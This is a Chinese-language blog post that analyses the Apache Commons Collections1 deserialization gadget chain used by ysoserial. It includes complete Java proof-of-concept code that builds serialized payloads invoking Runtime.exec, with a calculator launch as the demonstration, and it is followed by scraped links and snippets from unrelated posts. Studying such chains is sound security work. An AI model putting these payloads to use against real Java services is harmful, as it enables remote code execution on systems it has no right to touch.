ysoserial Commons Collections1反序列化研究
Apache Commons Collections1反序列化研究
环境准备
- Apache Commons Collections 3.1版本
- IDEA
- 需要一些java基础,反射、类对象、Classloader
ctrl+shift+alt+s,导入jar包,也可以直接maven 导入yaso的包更方便
原理分析
感觉这篇文章把这个漏洞的原因讲的非常详细,https://xz.aliyun.com/t/136
Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库
org.apache.commons.collections提供一个类包来扩展和增加标准的Java的collection框架,也就是说这些扩展也属于collection的基本概念,只是功能不同罢了。Java中的collection可以理解为一组对象。具象的collection为set,list,queue等等,它们是集合类型。换一种理解方式,collection是set,list,queue的抽象。
1.利用InvokerTransformer执行系统命令
Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库,其中有一个接口可以通过反射机制来进行任意函数的调用,即InvokeTransformer
package apacheCC;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.InvokerTransformer;
public class transformTest {
public static void main(String[] args) {
String cmd = "cmd.exe /c calc";
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd});
exec.transform(Runtime.getRuntime());
}
}
运行逻辑:
- 定义了一个字符串cmd,内容就是我们需要执行的命令
- 实例化了InvokerTransformer的对象,传入了要执行的方法名,参数类型,以及参数值,在传入值和类型时,要与java类中定义的变量的类型相一致
- 调用InvokerTransformer类的transform方法,而该方法就有点类似php的call_user_func
看一下源码分析一下,先实例化InvokerTransformer对象时候调用构造方法传入了方法、类型、参数。然后调用transform方法中的getclass()得到当前类的对象,然后getMethod获取我们输入的方法和类型,最后invoke方法来实现我们想调用的方法
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.apache.commons.collections.functors;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}
2.利用ChainedTransformer类实现链式调用
ChainedTransformer类实现了接口Transformer,而且基本都有transform方法的实现。最主要的函数体如下:
首先是构造函数,传入一个transformer数组
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
然后是ChainedTransformer类的transform方法,和上文中的InvokerTransformer如出一辙,利用for循环,对传入的transformers[i]运行InvokerTransformer类的transform方法,实现链式调用
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令。依次调用关系为: Runtime --> getRuntime --> exec()
package apacheCC;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class ChainedTransformerTest {
public static void main(String[] args) {
String cmd = "cmd.exe /c calc";
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class }, new Object[] {
"getRuntime", null }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class }, new Object[] {
null, null }),
new InvokerTransformer("exec",
new Class[] {String.class }, new Object[] {cmd})};
Transformer transformedChain = new ChainedTransformer(transformers);
transformedChain.transform(Object.class);
}
}
可以debug跟踪一下:
首先获取Runtime实例,也就是通过.class方式,获取了Runtime这个类的类的对象
下面的代码就是调用InvokerTransformer类的构造方法(和案例1一样的步骤),存到数组对象中,长度为4
实例化ChainedTransformer对象,调用transform方法
利用for循环去循环遍历数组对象的4个对象去调用InvokerTransformer.的transform方法
调用exec函数,进行代码执行,此时参数类型为String数组,即可以执行多个命令,参数即为之前定义的command,至此为止,transformer对象数组构造完成
3.TransformedMap类触发调用链
已知公开CC链的调用起点一般就在这里,即我们要触发TransformedMap的putAll/put/checkSetValue方法(其中任意一种)。因为这三种方法中存在对传入keyTransformer或valueTransformer其transform方法的调用,调用点追溯至该TransformedMap的transformKey和transformValue方法,它们的内部核心代码分别如下:
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
protected Object transformKey(Object object) {
if (keyTransformer == null) {
return object;
}
return keyTransformer.transform(object);
}
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
paylaod:
package apacheCC;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class CCtest {
public static void main(String[] args) {
String command = (args.length !=0 ) ? args[0] : "calc";
String[] execArgs = command.split(",");
Transformer[] tarnsforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class,Object[].class},
new Object[] {null,new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String[].class},
new Object[]{execArgs}
)
};
Transformer transformerChain = new ChainedTransformer(tarnsforms);
Map temoMap = new HashMap();
Map exMap = TransformedMap.decorate(temoMap, null, transformerChain);
exMap.put("by", "zad");
}
}
和案例2差不多,多了下面几行代码而已
Transformer transformerChain = new ChainedTransformer(tarnsforms);
Map temoMap = new HashMap();
Map exMap = TransformedMap.decorate(temoMap, null, transformerChain);
exMap.put("by", "zad");
首先需要构造一个map对象,并利用java泛型来对hashmap的键值类型进行指定接下来利用TransformedMap类的decorate方法来对map对象进行封装,其中封装的作用为指定要转化的map对象以及map对象中的键值要进行的转化方法(这里也可以是一个链,即我们要赋值的transformerChain),这里可以指定key,也可以指定value,接下来即通过put方法来对map对象的键值进行修改,其中put(key,value)即为将value加入hashMap中,此时将触发decorate中定义的transformer链,进行函数调用
下好断点 :
可以看到此时valueTransformer即为之前decorate中封装的转化链,所以此时调用valueTransformer的transformer方法,入口参数为"zad",为一个字符串
其中transformer链的第一个对象为ConstantTransformer类的对象,此时F7单步步入,可以看到,此时transform函数不管入口的input为什么,都返回一个iConstant,而iConstant使我们可控的,因此我们在这里可以返回任意类,此处返回为java.lang.Runtime类的对象,后续的代码逻辑都和案例2一样了。
4.反序列化触发TransformedMap类调用链发生
我们知道,当某个类重写了反序列化的关键函数readObject时,那么外部任意接口反序列化就会调用该类的readObject方法。攻击者可以查找那些已知框架或组件中存在反序列化调用的接口然后传入我们上述的恶意链的payload(对应接口的二进制流)从而实现反序列化的控制
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
return;
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
该类的成员变量memberValue为Map<String, Object> 类型,并且在重写的readObject()方法中有memberValue.setValue()的操作,见倒数第5行。那么当执行到该函数时就会存在Map.setValue的调用,该setValue方法中存在checkSetValue调用,从而触发调用链,执行结果。
反序列化poc
package com.company;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
//import sun.reflect.annotation.AnnotationInvocationHandler;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
/**
* Creator: yz
* Date: 2019/12/16
*/
public class CommonsCollectionsTest {
public static void main(String[] args) {
String cmd = "cmd.exe /c start";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{ "getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{cmd})
};
// 创建ChainedTransformer调用链
Transformer transformedChain = new ChainedTransformer(transformers);
// 创建Map对象
Map map = new HashMap();
map.put("value", "value");
// 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
try {
// 获取AnnotationInvocationHandler类对象
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取AnnotationInvocationHandler类的构造方法
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
// 设置构造方法的访问权限
constructor.setAccessible(true);
// 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
// Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
Object instance = constructor.newInstance(Target.class, transformedMap);
// 创建用于存储payload的二进制输出流对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
// 创建Java对象序列化输出流对象
ObjectOutputStream out = new ObjectOutputStream(baos);
// 序列化AnnotationInvocationHandler类
out.writeObject(instance);
out.flush();
out.close();
// 获取序列化的二进制数组
byte[] bytes = baos.toByteArray();
// 输出序列化的二进制数组
System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));
// 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
ObjectInputStream in = new ObjectInputStream(bais);
// 模拟远程的反序列化过程
in.readObject();
in.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
ysoserial是一个用我们刚才的思路生成序列化payload数据的工具。当中针对Apache Commons Collections 3的payload也是基于TransformedMap
和InvokerTransformer
来构造的,然而在触发时,并没有采用上文介绍的AnnotationInvocationHandler
,而是使用了java.lang.reflect.Proxy
中的相关代码来实现触发。此处不再做深入分析,有兴趣的可以参考ysoserial的源码。
前面和之前分析的没什么区别,关键是后面的4句代码。这里没有选择TransformedMap而是选择了LazyMap,LazyMap的利用链和TransformedMap的利用链不一样,
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
从这里开始需要重新跟了,跟进LazyMap.decorate,LazyMap的decorate方法设置了map和this.factory,在Lazymap中能触发Transformer链的是get方法
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
在 get 这个 map 时, 如果内部的 map 不存在这个 key, 将会调用 this.factory.transform(key)
, 将结果作为返回值. 再来看属性定义
问题就是现在缺少一个在 readObject
时 get
的对象, 而且最好是 jre 内置的. 这里就可以看到作者的牛逼之处, 毕竟这些类可不是随便找找就能找到的。
sun.reflect.annotation.AnnotationInvocationHandler
这个类的 invoke
方法,这儿就调用了get方法,并且类型还是map
类型
AnnotationInvocationHandler(Class<? extends Annotation> paramClass, Map<String, Object> paramMap) {
Class[] arrayOfClass = paramClass.getInterfaces();
if (!paramClass.isAnnotation() || arrayOfClass.length != 1 || arrayOfClass[false] != Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = paramClass;
this.memberValues = paramMap;
}
public Object invoke(Object paramObject, Method paramMethod, Object[] paramArrayOfObject) {
String str = paramMethod.getName();
Class[] arrayOfClass = paramMethod.getParameterTypes();
if (str.equals("equals") && arrayOfClass.length == 1 && arrayOfClass[false] == Object.class)
return equalsImpl(paramArrayOfObject[0]);
if (arrayOfClass.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch (str) {
case "toString":
return toStringImpl();
case "hashCode":
return Integer.valueOf(hashCodeImpl());
case "annotationType":
return this.type;
}
Object object = this.memberValues.get(str);
if (object == null)
throw new IncompleteAnnotationException(this.type, str);
if (object instanceof ExceptionProxy)
throw ((ExceptionProxy)object).generateException();
if (object.getClass().isArray() && Array.getLength(object) != 0)
object = cloneArray(object);
return object;
}
在看一下该 类的readObject方法
private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException {
paramObjectInputStream.defaultReadObject();
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException illegalArgumentException) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map map = annotationType.memberTypes();
for (Map.Entry entry : this.memberValues.entrySet()) {
String str = (String)entry.getKey();
Class clazz = (Class)map.get(str);
if (clazz != null) {
Object object = entry.getValue();
if (!clazz.isInstance(object) && !(object instanceof ExceptionProxy))
entry.setValue((new AnnotationTypeMismatchExceptionProxy(object.getClass() + "[" + object + "]")).setMember((Method)annotationType.members().get(str)));
}
}
}
关键点在 this.memberValues.entrySet()
,此时调用了this.memberValues.entrySet,this.memberValues是之前构造好的proxy_map,由于这是一个代理对象,所以调用其方法时,会去调用其创建代理时设置的handler的invoke方法LazyMap.get可以在AnnotationInvocationHandler.invoke中被调用,这里涉及到 java 的动态代理机制可以理解为调用这个方法实际上调用的是代理的 invoke, 在上面可以看到 AnnotationInvocationHandler 本身继承了 InvocationHandler接口且重写了 invoke 方法. 刚好可以拿来利用只要给LazyMap设置动态代理,LazyMap调用方法的时候就能调用invoke,而AnnotationInvocationHandler的readobject中又调用了LazyMap.entrySet方法,最后需要将map传入AnnotationInvocationHandler的构造函数中,反序列化AnnotationInvocationHandler,整条利用链就算完成了,exp如下:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class TestCC1 {
public static void main(String[] args) throws Exception {
String cmd = "cmd.exe /c calc";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{cmd}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
HashMap hashMap = new HashMap<String, String>();
Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Deprecated.class, proxy);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(obj);
}
}
这里还是比较绕的,因为设置了两个handler,但是第一个handler是为了触发lazymap#get,而第二个handler实际上只是为了触发代理类所设置handler的invoke方法。
其实创建lazymap那里其实并不需要用到反射,因为lazymap自带了一个方法来帮助我们创建其实例(yso中就是这么做的),
还有一个小问题就是这个payload在高版本的java8环境中是无法执行的。
参考了下这篇文章前半部分的内容http://www.secwk.com/2019/11/14/14183/
是由于在java8的某次更新中对AnnotationInvocationHandler进行了修改 http://hg.openjdk.java.net/jdk8u/jdk8u-dev/jdk/diff/8e3338e7c7ea/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
jdk1.8_u40和jdk1.8_u112的对比就能看到,entrySet的调用变成了var4
原本var1.defaultReadObject();的调用也重写了
所以原本entrySet的invoke调用链也就断了,但是这个问题会在后面的Payload中被解决。(当然是找了条别的链)
ysoserial Commons Collections1反序列化研究的更多相关文章
- ysoserial Commons Collections2反序列化研究
Apache Commons Collections2反序列化研究 环境准备 JDK 1.7 Commons Collections 4.0 javassit 前置知识 PriorityQueue() ...
- ysoserial Commons Collections3反序列化研究
0x00 前言 在ysoserial中,官方是没给gadget,这儿经过文章分析我认为的gadget,继承自AbstractTranslate的类被Javassist插桩后返回一个被修改过的templ ...
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一) 0x00 前言 在CC链中,其实具体执行过程还是比较复杂的.建议调试前先将一些前置知识的基础给看一遍. Java安全之Commons ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...
- Ysoserial Commons Collections2分析
Ysoserial Commons Collections2分析 About Commons Collections2 CC2与CC1不同在于CC2用的是Commons Collections4.0; ...
- Ysoserial Commons Collections3分析
Ysoserial Commons Collections3分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- Ysoserial Commons Collections7分析
Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
随机推荐
- pytorch——合并分割
分割与合并 import torch import numpy as np #假设a是班级1-4的数据,每个班级里有32个学生,每个学生有8门分数 #假设b是班级5-9的数据,每个班级里有32个学生, ...
- 浅谈前端常用脚手架cli工具及案例
前端常用脚手架工具 前端有很多特定的脚手架工具大多都是为了特定的项目类型服务的,比如react项目中的reate-react-app,vue项目中的vue-cli,angular 项目中的angula ...
- 在QML 中用javascritpt 将中文转换拼音,可以在音标
项目需要, 今天整理了一下.在QML调用javascrit将中文汉字转换成拼音. 感觉执行效率低.下面是主要代码. 具体代码请参考QMLPinyin 代码 ```import "./piny ...
- Qt 自动化测试Test cutedriver
示例 https://github.com/nomovok-opensource/cutedriver-examples CuteDriver examples This repository con ...
- “batteries included” philosophy
https://docs.djangoproject.com/en/2.2/ref/contrib/ contrib packages Django aims to follow Python's & ...
- Elasticsearch如何保证数据不丢失?
目录 如何保证数据写入过程中不丢 直接落盘的 translog 为什么不怕降低写入吞吐量? 如何保证已写数据在集群中不丢 in-memory buffer 总结 LSM Tree的详细介绍 参考资料 ...
- react+ant design 项目执行yarn run eject 命令后无法启动项目
如何将内建配置全部暴露? 使用create-react-app结合antd搭建的项目中,项目目录没有该项目所有的内建配置, 1.执行yarn run eject 执行该命令后,运行项目yarn sta ...
- redis-服务器配置-主从
1.配置sentinel.conf -------------------------------------------------- port 26379 dir "/home/app/ ...
- Spring集成swagger步骤(包含Header)
1.添加依赖,2.4.0: <dependency> <groupId>io.springfox</groupId> <artifactId>sprin ...
- 学会lambda表达式,能让你少敲1000行代码!
01.什么是 lambda 表达式 1. 函数式接口 在聊起 lambda 表达式之前,我们不得不提起函数式接口:一个接口只包含唯一的方法,那么它就是函数式接口.例如: public class La ...